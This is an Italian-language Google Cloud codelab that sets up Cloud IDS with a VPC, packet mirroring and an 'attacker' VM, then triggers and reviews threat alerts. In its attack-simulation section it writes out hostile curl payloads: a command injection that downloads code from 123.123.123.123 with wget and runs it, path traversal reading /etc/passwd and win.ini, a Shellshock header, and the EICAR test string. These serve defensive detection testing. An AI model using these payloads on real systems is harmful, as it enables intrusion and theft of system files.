Cloud IDS

1. Introduzione

In questo lab eseguirai il deployment di Cloud IDS, un servizio di rilevamento delle intrusioni avanzato di nuova generazione che fornisce il rilevamento delle minacce per intrusioni, malware, spyware e attacchi command-and-control. Simulerai più attacchi e visualizzerai i dettagli della minaccia nella console Cloud.

Cosa imparerai a fare

  • Creare un endpoint Cloud IDS
  • Creare due macchine virtuali con i comandi gcloud
  • Come creare un criterio di mirroring pacchetto
  • Come simulare il traffico di un attacco da una macchina virtuale
  • Come visualizzare i dettagli delle minacce in Cloud Console e Cloud Logging

Che cosa ti serve

  • Conoscenza dei comandi di base di Linux

2. Casi d'uso di Cloud IDS

Cloud IDS fornisce un servizio nativo di rilevamento delle intrusioni (IDS) di nuova generazione di Google Cloud che consente ai clienti di soddisfare i requisiti di rilevamento avanzato delle minacce e di conformità come PCI 11.4. Il servizio si basa sulle tecnologie di protezione dalle minacce di Palo Alto Networks per fornire un rilevamento avanzato delle intrusioni. Combinando l'infrastruttura di livello mondiale di Google Cloud con la sicurezza di altissimo livello di Palo Alto Networks, offre ai clienti una combinazione impareggiabile di un servizio di rilevamento delle minacce avanzato completamente gestito, ad alte prestazioni e con la massima efficacia in materia di sicurezza.

Man mano che i clienti eseguono la migrazione al cloud, la sicurezza è una priorità assoluta per loro. Vogliono disporre degli simili controlli di sicurezza on-prem, come il servizio di rilevamento delle intrusioni (IDS) nel cloud. Preferisce utilizzare una soluzione IDS gestita e cloud-native per facilità di deployment, prestazioni elevate e costi ottimizzati rispetto al deployment di una soluzione di sicurezza di terze parti e alla gestione dell’infrastruttura o all’utilizzo delle proprie firme. Google Cloud IDS fornisce un servizio IDS gestito end-to-end e con scalabilità automatica che consente ai clienti di dedicare il loro tempo ad analizzare e mitigare le minacce, liberando tempo e risorse per la gestione dell'infrastruttura o delle firme delle minacce.

Cloud IDS viene distribuito fuori banda e può rilevare e inviare avvisi sulle minacce, ma non può bloccarle. Sfrutta il mirroring dei pacchetti Google Cloud per creare una copia del traffico di rete che viene analizzato utilizzando il motore di rilevamento delle minacce di Palo Alto Network.

3. Topologia codelab

5a276f399e1d31e2.png

Figura 1. Panoramica generale dell'architettura del deployment di Cloud IDS per questo lab.

4. Configurazione e requisiti

Configurazione dell'ambiente da seguire in modo autonomo

  1. Accedi alla console Google Cloud e crea un nuovo progetto o riutilizzane uno esistente. Se non hai ancora un account Gmail o Google Workspace, devi crearne uno.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Il Nome progetto è il nome visualizzato dei partecipanti del progetto. Si tratta di una stringa di caratteri non utilizzata dalle API di Google e può essere aggiornata in qualsiasi momento.
  • L'ID progetto deve essere univoco in tutti i progetti Google Cloud ed è immutabile (non può essere modificato dopo essere stato impostato). La console Cloud genera automaticamente una stringa univoca. di solito non ti importa cosa sia. Nella maggior parte dei codelab, devi fare riferimento all'ID progetto (che solitamente è identificato come PROJECT_ID), quindi, se non ti piace, generane un altro a caso oppure puoi fare un tentativo personalizzato e controllare se è disponibile. Poi c'è "congelato" dopo la creazione del progetto.
  • C'è un terzo valore, il numero di progetto, utilizzato da alcune API. Scopri di più su tutti e tre questi valori nella documentazione.
  1. Successivamente, dovrai abilitare la fatturazione nella console Cloud per utilizzare le risorse/le API Cloud. Eseguire questo codelab non dovrebbe costare molto. Per arrestare le risorse in modo da non incorrere in fatturazione oltre questo tutorial, segui eventuali "pulizie" istruzioni riportate alla fine del codelab. I nuovi utenti di Google Cloud sono idonei al programma prova senza costi di 300$.

Avvia Cloud Shell

Anche se Google Cloud può essere utilizzato da remoto dal tuo laptop, in questo codelab utilizzerai Google Cloud Shell, un ambiente a riga di comando in esecuzione nel cloud.

Dalla console di Google Cloud, fai clic sull'icona di Cloud Shell nella barra degli strumenti in alto a destra:

bce75f34b2c53987.png

Dovrebbe richiedere solo qualche istante per eseguire il provisioning e connettersi all'ambiente. Al termine, dovresti vedere una schermata simile al seguente:

f6ef2b5f13479f3a.png

Questa macchina virtuale viene caricata con tutti gli strumenti di sviluppo necessari. Offre una home directory permanente da 5 GB e viene eseguita su Google Cloud, migliorando notevolmente le prestazioni di rete e l'autenticazione. Tutto il lavoro in questo lab può essere svolto semplicemente con un browser.

5. Prima di iniziare

Abilita API

All'interno di Cloud Shell, assicurati che l'ID progetto sia configurato

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Abilita tutti i servizi necessari

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Crea rete VPC

Rete VPC

Da Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Subnet

Da Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Accesso privato ai servizi

Da Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Connessione privata ai servizi

Da Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Regole firewall

Per consentire a IAP di connettersi alle tue istanze VM, crea una regola firewall che:

  • Si applica a tutte le istanze VM a cui vuoi essere accessibile tramite IAP.
  • Consente il traffico in entrata dall'intervallo IP 35.235.240.0/20. Questo intervallo contiene tutti gli indirizzi IP utilizzati da IAP per l'inoltro TCP.

Da Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Per autorizzare la porta HTTP standard (TCP 80) e il protocollo ICMP al server:

  • Si applica alle risorse con tag di rete "server"
  • Consente il traffico in entrata da tutte le origini

Da Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Crea un'istanza Cloud NAT

Cloud Router

Da Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Da Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Crea endpoint Cloud IDS

In questa sezione creerai un endpoint Cloud IDS in us-east1, con una gravità impostata su informativa. La creazione dell'endpoint IDS richiede circa 20 minuti.

Endpoint IDS

Da Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Verifica che l'endpoint Cloud IDS venga avviato

gcloud ids endpoints list --project=$PROJECT_ID

Output -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Crea due macchine virtuali

In questa sezione creerai due macchine virtuali. Il primo sarà il tuo server web che esegue il mirroring su Cloud IDS. La seconda macchina virtuale sarà la sorgente di traffico dell'attacco.

Macchina virtuale 1 (server)

Da Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Macchina virtuale 2 (client)

Da Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Preparazione del server in corso...

In questa attività convaliderai il server e fornirai un payload per malware benigno per il tuo client.

SSH nella VM tramite Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Verifica che il servizio web sia in esecuzione

sudo systemctl status nginx

Output - verifica attivo e in esecuzione

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Cambia directory in servizio web

cd /var/www/html/

Creare un file di malware benigno sul server web.

sudo touch eicar.file

Incolla i contenuti

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Torna a Cloud Shell

exit

Crea un criterio di mirroring pacchetto Cloud IDS

Identificare la regola di forwarding dell'endpoint IDS e verificare che lo stato dell'endpoint IDS sia "READY".

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Output di esempio: copia il valore da "endpointForwardingRule"

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Salva la regola di forwarding dell'endpoint IDS in una variabile.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Norme sul mirroring del pacchetto

Da Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Verifica che il criterio di Mirroring pacchetto sia creato

Da Cloud Shell

gcloud compute packet-mirrorings list

Output

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Simula il traffico di un attacco

Accedi tramite SSH alla macchina virtuale dell'utente malintenzionato (client)

Da Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Esegui le seguenti richieste curl per simulare il traffico dannoso.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Esci dalla VM per tornare a Cloud Shell

exit

11. Esamina le minacce rilevate da Cloud IDS

Vai alla dashboard di Cloud IDS

Menu di navigazione > Sicurezza della rete > Cloud IDS

37583419aa604aa8.png

Vai alla scheda Minacce.

b7d934f409b4e2b.png

Come si può vedere, Cloud IDS ha acquisito vari profili del traffico di attacco e fornito i dettagli di ciascuna minaccia. Potrebbe essere necessario fare clic sul pulsante "Aggiorna" se non vedi minacce. Approfondiremo ulteriormente i dettagli della minaccia.

Individua la "Vulnerabilità esecuzione di codice remoto Bash" minaccia e fai clic sui tre puntini a destra e seleziona "Visualizza dettagli minaccia"

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Ora esamineremo i dettagli di questo incidente in Cloud Logging. Torna alla pagina Minacce facendo clic sulla freccia rivolta verso sinistra .

Fai clic sui tre puntini a destra e seleziona "Visualizza log delle minacce"

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Gli stessi dettagli vengono forniti a Cloud Logging. In questo modo puoi inviare i log a Cloud Storage, Chronicle o qualsiasi SIEM/SOAR. Puoi anche creare flussi di lavoro personalizzati per intraprendere azioni correttive in base ad avvisi, ad esempio creando una funzione Cloud Functions che si attiva in caso di avviso e crea/aggiorna una regola firewall per bloccare l'indirizzo IP oppure crea/aggiorna un criterio Cloud Armor.

12. Passaggi per la pulizia

Esci dall'istanza VM (tutte le schede)

exit

Elimina i componenti del lab da un singolo terminale Cloud Shell

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Complimenti!

Complimenti per aver completato il codelab.

Argomenti trattati

  • Casi d'uso di Cloud IDS
  • Requisiti di rete
  • API supportate
  • Endpoint Cloud IDS creato
  • Deployment di 2 VM
  • Ha generato un "attacco" traffico proveniente dal client
  • Le minacce verificate sono state rilevate dagli IDS
  • Esamina i dettagli e i log della minaccia